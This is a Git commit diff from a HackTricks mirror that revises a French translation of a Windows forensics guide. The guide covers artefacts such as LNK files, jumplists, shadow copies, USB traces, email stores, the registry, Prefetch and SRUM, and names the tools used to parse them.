Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 22:18:27 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['forensics/basic-forensic-methodology/windows-forensics/READ

Browse source
This commit is contained in:
Translator 2023-12-26 17:51:30 +00:00
parent 6e04245023
commit 48e71c282e
3 changed files with 481 additions and 409 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

362
forensics/basic-forensic-methodology/windows-forensics/README.md
View file

@ -6,37 +6,37 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Artéfacts Windows génériques
## Artéfacts Windows Génériques
### Notifications Windows 10
Dans le chemin `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows).
Dans cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes.
À l'intérieur de cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes.
### Chronologie
### Timeline
La chronologie est une caractéristique de Windows qui fournit un historique **chronologique** des pages Web visitées, des documents édités et des applications exécutées.
Timeline est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents édités et des applications exécutées.
La base de données réside dans le chemin `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers qui peuvent être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
La base de données se trouve dans le chemin `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (flux de données alternatifs)
### ADS (Alternate Data Streams)
Les fichiers téléchargés peuvent contenir la **zone ADS.Identifier** indiquant **comment** il a été **téléchargé** depuis l'intranet, l'internet, etc. Certains logiciels (comme les navigateurs) mettent généralement encore **plus** **d'informations** comme l'**URL** à partir de laquelle le fichier a été téléchargé.
Les fichiers téléchargés peuvent contenir **ADS Zone.Identifier** indiquant **comment** il a été **téléchargé** de l'intranet, internet, etc. Certains logiciels (comme les navigateurs) mettent généralement **encore plus** **d'informations** comme l'**URL** d'où le fichier a été téléchargé.
## **Sauvegardes de fichiers**
## **Sauvegardes de Fichiers**
### Corbeille
Dans Vista/Win7/Win8/Win10, la **Corbeille** peut être trouvée dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\
Dans Vista/Win7/Win8/Win10, la **Corbeille** se trouve dans le dossier **`$Recycle.bin`** à la racine du disque (`C:\$Recycle.bin`).\
Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés :
* `$I{id}` : Informations sur le fichier (date de suppression)
@ -44,81 +44,83 @@ Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont cr
![](<../../../.gitbook/assets/image (486).png>)
En ayant ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse originale des fichiers supprimés et la date à laquelle ils ont été supprimés (utilisez `rifiuti-vista.exe` pour Vista - Win10).
Avec ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse originale des fichiers supprimés et la date de suppression (utilisez `rifiuti-vista.exe` pour Vista – Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
```markdown
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### Copies d'ombre de volume
### Copies de l'ombre de volume
Shadow Copy est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes informatiques, même lorsqu'ils sont en cours d'utilisation.
La Copie de l'ombre est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers informatiques ou de volumes, même lorsqu'ils sont utilisés.
Ces sauvegardes sont généralement situées dans le dossier `\System Volume Information` à partir de la racine du système de fichiers et le nom est composé d'**UID** comme indiqué dans l'image suivante :
Ces sauvegardes sont généralement situées dans le `\System Volume Information` à la racine du système de fichiers et le nom est composé de **UIDs** montrés dans l'image suivante :
![](<../../../.gitbook/assets/image (520).png>)
En montant l'image de la forensique avec **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) peut être utilisé pour inspecter une copie d'ombre et même **extraire les fichiers** des sauvegardes de copie d'ombre.
En montant l'image forensique avec **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) peut être utilisé pour inspecter une copie de l'ombre et même **extraire les fichiers** des sauvegardes de copie de l'ombre.
![](<../../../.gitbook/assets/image (521).png>)
L'entrée de registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contient les fichiers et les clés **à ne pas sauvegarder** :
L'entrée de registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contient les fichiers et clés **à ne pas sauvegarder** :
![](<../../../.gitbook/assets/image (522).png>)
Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `copies d'ombre de volume`.
Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `Copies de l'ombre de volume`.
### Fichiers Office AutoSaved
### Fichiers AutoSauvegardés Office
Vous pouvez trouver les fichiers Office autosauvegardés dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
Vous pouvez trouver les fichiers autosauvegardés d'Office dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Éléments de Shell
## Éléments Shell
Un élément de shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier.
Un élément shell est un élément qui contient des informations sur comment accéder à un autre fichier.
### Documents récents (LNK)
### Documents Récents (LNK)
Windows **crée automatiquement** ces **raccourcis** lorsque l'utilisateur **ouvre, utilise ou crée un fichier** dans :
* Win7-Win10 : `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office : `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Lorsqu'un dossier est créé, un lien vers le dossier, le dossier parent et le dossier grand-parent est également créé.
Lorsqu'un dossier est créé, un lien vers le dossier, le dossier parent et le grand-parent est également créé.
Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** **ou** d'un **dossier**, des **horodatages MAC** de ce fichier, des **informations de volume** de l'emplacement où le fichier est stocké et du **dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers en cas de suppression.
Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** **ou** d'un **dossier**, **les temps MAC** de ce fichier, **les informations de volume** de l'endroit où le fichier est stocké et **le dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers dans le cas où ils auraient été supprimés.
De plus, la **date de création du lien** est la première **fois** où le fichier d'origine a été **utilisé** et la **date de modification du lien** est la **dernière fois** où le fichier d'origine a été utilisé.
De plus, la **date de création du fichier de lien** est la première **fois** que le fichier original a été **utilisé** et la **date de modification** du fichier de lien est la **dernière fois** que le fichier d'origine a été utilisé.
Pour inspecter ces fichiers, vous pouvez utiliser [**LinkParser**](http://4discovery.com/our-tools/).
Dans cet outil, vous trouverez **2 ensembles** de horodatages :
Dans cet outil, vous trouverez **2 ensembles** de dates et heures :
* **Premier ensemble :**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
* **Deuxième ensemble :**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
* **Premier Ensemble :**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
* **Deuxième Ensemble :**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
Le premier ensemble d'horodatages fait référence aux **horodatages du fichier lui-même**. Le deuxième ensemble fait référence aux **horodatages du fichier lié**.
Le premier ensemble de dates et heures fait référence aux **dates et heures du fichier lui-même**. Le deuxième ensemble fait référence aux **dates et heures du fichier lié**.
Vous pouvez obtenir les mêmes informations en exécutant l'outil de ligne de commande Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
Vous pouvez obtenir les mêmes informations en exécutant l'outil CLI Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Dans ce cas, les informations vont être enregistrées dans un fichier CSV.
Dans ce cas, les informations seront enregistrées dans un fichier CSV.
### Jumplists
Ce sont les fichiers récents indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder sur chaque application. Ils peuvent être créés **automatiquement ou personnalisés**.
Ce sont les fichiers récents indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder pour chaque application. Ils peuvent être créés **automatiquement ou personnalisés**.
Les **jumplists** créés automatiquement sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommés selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application.
Les **jumplists** créées automatiquement sont stockées dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommées selon le format `{id}.autmaticDestinations-ms` où l'ID initial est celui de l'application.
Les jumplists personnalisés sont stockés dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont créés par l'application généralement parce que quelque chose **d'important** s'est produit avec le fichier (peut-être marqué comme favori).
Les jumplists personnalisées sont stockées dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont créées par l'application généralement parce que quelque chose d'**important** s'est produit avec le fichier (peut-être marqué comme favori).
L'heure de création de n'importe quelle jumplist indique la **première fois que le fichier a été accédé** et l'heure de modification la dernière fois.
Le **temps de création** d'une jumplist indique **la première fois que le fichier a été accédé** et le **temps modifié la dernière fois**.
Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
@ -128,31 +130,31 @@ Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://
### Shellbags
[**Suivez ce lien pour savoir ce que sont les shellbags.**](interesting-windows-registry-keys.md#shellbags)
[**Suivez ce lien pour apprendre ce que sont les shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Utilisation des clés USB Windows
## Utilisation des USB Windows
Il est possible d'identifier qu'un périphérique USB a été utilisé grâce à la création de :
* Dossier récent Windows
* Dossier récent Microsoft Office
* Dossier Windows Recent
* Dossier Microsoft Office Recent
* Jumplists
Notez que certains fichiers LNK, au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE :
Notez que certains fichiers LNK au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE :
![](<../../../.gitbook/assets/image (476).png>)
Les fichiers du dossier WPDNSE sont une copie de ceux d'origine, ils ne survivront donc pas à un redémarrage du PC et le GUID est pris à partir d'un shellbag.
Les fichiers dans le dossier WPDNSE sont une copie des originaux, ils ne survivront pas à un redémarrage du PC et le GUID est pris d'un shellbag.
### Informations du registre
### Informations du Registre
[Vérifiez cette page pour savoir](interesting-windows-registry-keys.md#usb-information) quels clés de registre contiennent des informations intéressantes sur les périphériques USB connectés.
[Consultez cette page pour apprendre](interesting-windows-registry-keys.md#usb-information) quels clés de registre contiennent des informations intéressantes sur les périphériques USB connectés.
### setupapi
Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages sur quand la connexion USB a été produite (recherchez `Section start`).
Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages de quand la connexion USB a été produite (recherchez `Section start`).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
@ -162,26 +164,158 @@ Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodata
### Nettoyage Plug and Play
La tâche planifiée "Nettoyage Plug and Play" est responsable de **supprimer** les versions obsolètes des pilotes. Il semblerait (selon des rapports en ligne) qu'elle supprime également les **pilotes qui n'ont pas été utilisés depuis 30 jours**, bien que sa description indique que "la version la plus récente de chaque package de pilotes sera conservée". En tant que tel, **les périphériques amovibles qui n'ont pas été connectés depuis 30 jours peuvent avoir leurs pilotes supprimés**.
La tâche planifiée 'Nettoyage Plug and Play' est responsable de **nettoyer** les versions obsolètes des pilotes. Il semblerait (selon les rapports en ligne) qu'elle récupère également **les pilotes qui n'ont pas été utilisés pendant 30 jours**, malgré sa description indiquant que "la version la plus récente de chaque package de pilotes sera conservée". Ainsi, **les périphériques amovibles qui n'ont pas été connectés pendant 30 jours peuvent voir leurs pilotes supprimés**.
La tâche planifiée elle-même est située à 'C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup', et son contenu est affiché ci-dessous :
La tâche planifiée elle-même est située à ‘C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup’, et son contenu est affiché ci-dessous :
![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
La tâche fait référence à 'pnpclean.dll' qui est responsable de l'activité de nettoyage, en outre, nous voyons que le champ ‘UseUnifiedSchedulingEngine’ est défini sur ‘TRUE’ ce qui spécifie que le
La tâche fait référence à 'pnpclean.dll' qui est responsable de l'activité de nettoyage en plus nous voyons que le champ ‘UseUnifiedSchedulingEngine’ est défini sur ‘TRUE’ ce qui spécifie que le moteur de planification de tâches générique est utilisé pour gérer la tâche. Les valeurs ‘Period’ et ‘Deadline’ de 'P1M' et 'P2M' dans ‘MaintenanceSettings’ instruisent le Planificateur de tâches d'exécuter la tâche une fois par mois pendant la maintenance automatique régulière et si elle échoue pendant 2 mois consécutifs, de commencer à tenter la tâche pendant la maintenance automatique d'urgence. **Cette section a été copiée de** [**ici**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.**
## Emails
Les emails contiennent **2 parties intéressantes : Les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que :
* **Qui** a envoyé les emails (adresse email, IP, serveurs de messagerie qui ont redirigé l'email)
* **Quand** l'email a été envoyé
Aussi, à l'intérieur des en-têtes `References` et `In-Reply-To`, vous pouvez trouver l'ID des messages :
![](<../../../.gitbook/assets/image (484).png>)
### Application de Courrier Windows
Cette application enregistre les emails en HTML ou en texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`.
Les **métadonnées** des emails et les **contacts** peuvent être trouvés à l'intérieur de la **base de données EDB** : `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Changez l'extension** du fichier de `.vol` à `.edb` et vous pouvez utiliser l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) pour l'ouvrir. À l'intérieur de la table `Message`, vous pouvez voir les emails.
### Microsoft Outlook
Lorsque des serveurs Exchange ou des clients Outlook sont utilisés, il y aura des en-têtes MAPI :
* `Mapi-Client-Submit-Time` : Heure du système lorsque l'email a été envoyé
* `Mapi-Conversation-Index` : Nombre de messages enfants du fil et horodatage de chaque message du fil
* `Mapi-Entry-ID` : Identifiant du message.
* `Mappi-Message-Flags` et `Pr_last_Verb-Executed` : Informations sur le client MAPI (message lu ? non lu ? répondu ? redirigé ? hors du bureau ?)
Dans le client Microsoft Outlook, tous les messages envoyés/reçus, les données des contacts et les données du calendrier sont stockés dans un fichier PST dans :
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Le chemin de registre `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indique le fichier qui est utilisé.
Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../.gitbook/assets/image (485).png>)
### Outlook OST
Lorsque Microsoft Outlook est configuré **en utilisant** **IMAP** ou en utilisant un serveur **Exchange**, il génère un fichier **OST** qui stocke presque les mêmes informations que le fichier PST. Il maintient le fichier synchronisé avec le serveur pour les **12 derniers mois**, avec une **taille maximale de fichier de 50 Go** et dans le **même dossier que le fichier PST** est enregistré. Vous pouvez inspecter ce fichier en utilisant [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Récupération des Pièces Jointes
Vous pourriez les trouver dans le dossier :
* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10
* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+
### Thunderbird MBOX
**Thunderbird** stocke les informations dans des **fichiers MBOX** dans le dossier `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`
## Miniatures
Lorsqu'un utilisateur accède à un dossier et l'organise en utilisant des miniatures, alors un fichier `thumbs.db` est créé. Cette base de données **stocke les miniatures des images** du dossier même si elles sont supprimées. Dans WinXP et Win 8-8.1, ce fichier est créé automatiquement. Dans Win7/Win10, il est créé automatiquement s'il est accédé via un chemin UNC (\IP\dossier...).
Il est possible de lire ce fichier avec l'outil [**Thumbsviewer**](https://thumbsviewer.github.io).
### Thumbcache
À partir de Windows Vista, **les aperçus des miniatures sont stockés dans un emplacement centralisé sur le système**. Cela permet au système d'accéder aux images indépendamment de leur emplacement et résout les problèmes de localité des fichiers Thumbs.db. Le cache est stocké à **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** sous la forme de plusieurs fichiers avec l'étiquette **thumbcache\_xxx.db** (numérotés par taille) ; ainsi qu'un index utilisé pour trouver des miniatures dans chaque base de données de taille.
* Thumbcache\_32.db -> petit
* Thumbcache\_96.db -> moyen
* Thumbcache\_256.db -> grand
* Thumbcache\_1024.db -> très grand
Vous pouvez lire ce fichier en utilisant [**ThumbCache Viewer**](https://thumbcacheviewer.github.io).
## Registre Windows
Le Registre Windows contient beaucoup d'**informations** sur le **système et les actions des utilisateurs**.
Les fichiers contenant le registre sont situés dans :
* %windir%\System32\Config\*_SAM\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_SECURITY\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_SYSTEM\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_SOFTWARE\*_: `HKEY_LOCAL_MACHINE`
* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE`
* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER`
À partir de Windows Vista et Windows 2008 Server, il y a des sauvegardes des fichiers de registre `HKEY_LOCAL_MACHINE` dans **`%Windir%\System32\Config\RegBack\`**.
Aussi à partir de ces versions, le fichier de registre **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** est créé en sauvegardant des informations sur les exécutions de programmes.
### Outils
Certains outils sont utiles pour analyser les fichiers de registre :
* **Éditeur du Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer à travers le registre Windows de la session actuelle.
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence des clés avec des informations intéressantes.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il a une interface graphique qui permet de naviguer à travers le registre chargé et contient également des plugins qui mettent en évidence des informations intéressantes à l'intérieur du registre chargé.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application graphique capable d'extraire les informations importantes du registre chargé.
### Récupération d'Élément Supprimé
Lorsqu'une clé est supprimée, elle est marquée comme telle, mais jusqu'à ce que l'espace qu'elle occupe soit nécessaire, elle ne sera pas supprimée. Par conséquent, en utilisant des outils comme **Registry Explorer**, il est possible de récupérer ces clés supprimées.
### Dernier Temps d'Écriture
Chaque Clé-Valeur contient un **horodatage** indiquant la dernière fois qu'elle a été modifiée.
### SAM
Le fichier/ruche **SAM** contient les **utilisateurs, groupes et les hachages des mots de passe** des utilisateurs du système.
Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, le dernier échec de connexion, le compteur de connexion, la politique de mot de passe et quand le compte a été créé. Pour obtenir les **hachages**, vous avez également **besoin** du fichier/ruche **SYSTEM**.
### Entrées intéressantes dans le Registre Windows
{% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %}
## Programmes Exécutés
### Processus Windows de Base
Sur la page suivante, vous pouvez en apprendre davantage sur les processus Windows de base pour détecter des comportements suspects :
{% content-ref url="windows-processes.md" %}
[windows-processes.md](windows-processes.md)
{% endcontent-ref %}
### Applications Récents Windows
Dans le registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur l'**application exécutée**, **la dernière fois** qu'elle a été exécutée et le **nombre de fois** qu'elle a été lancée.
### BAM (Background Activity Moderator)
Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver les informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre).
Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quel moment** elles ont été exécutées (l'heure est à l'intérieur de la valeur Data du registre).
### Windows Prefetch
Le prefetching est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** qu'un utilisateur **pourrait accéder dans un proche avenir** afin que les ressources puissent être accédées plus rapidement.
Le préchargement est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** qu'un utilisateur **pourrait accéder dans un avenir proche** afin que les ressources puissent être accédées plus rapidement.
Le prefetching de Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10.
Le préchargement Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10.
Le nom de fichier est créé comme `{nom_du_programme}-{hash}.pf` (le hash est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la simple présence du fichier indique que **le programme a été exécuté** à un moment donné.
Le nom du fichier est créé comme `{program_name}-{hash}.pf` (le hachage est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné.
Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers qui sont prefetchés**. Ce fichier contient des **informations sur le nombre d'exécutions**, les **dates** d'exécution et les **fichiers** **ouverts** par le programme.
Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers qui sont préchargés**. Ce fichier contient des **informations sur le nombre d'exécutions**, les **dates** d'exécution et les **fichiers** **ouverts** par le programme.
Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) :
```bash
@ -192,27 +326,27 @@ Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https:
### Superprefetch
**Superprefetch** a le même objectif que prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service prefetch.\
Ce service générera des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`.
Ce service va générer des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`.
Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin** **complet**, les **plages** **temporelles** et les **horodatages**.
Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin complet**, les **plages horaires** et les **horodatages**.
Vous pouvez accéder à ces informations en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
Vous pouvez accéder à cette information en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`.
**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et il stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`.
Il fournit les informations suivantes :
* ID de l'application et chemin d'accès
* AppID et Chemin
* Utilisateur ayant exécuté le processus
* Octets envoyés
* Octets reçus
* Interface réseau
* Durée de la connexion
* Durée de connexion
* Durée du processus
Ces informations sont mises à jour toutes les 60 minutes.
Cette information est mise à jour toutes les 60 minutes.
Vous pouvez obtenir les données de ce fichier en utilisant l'outil [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
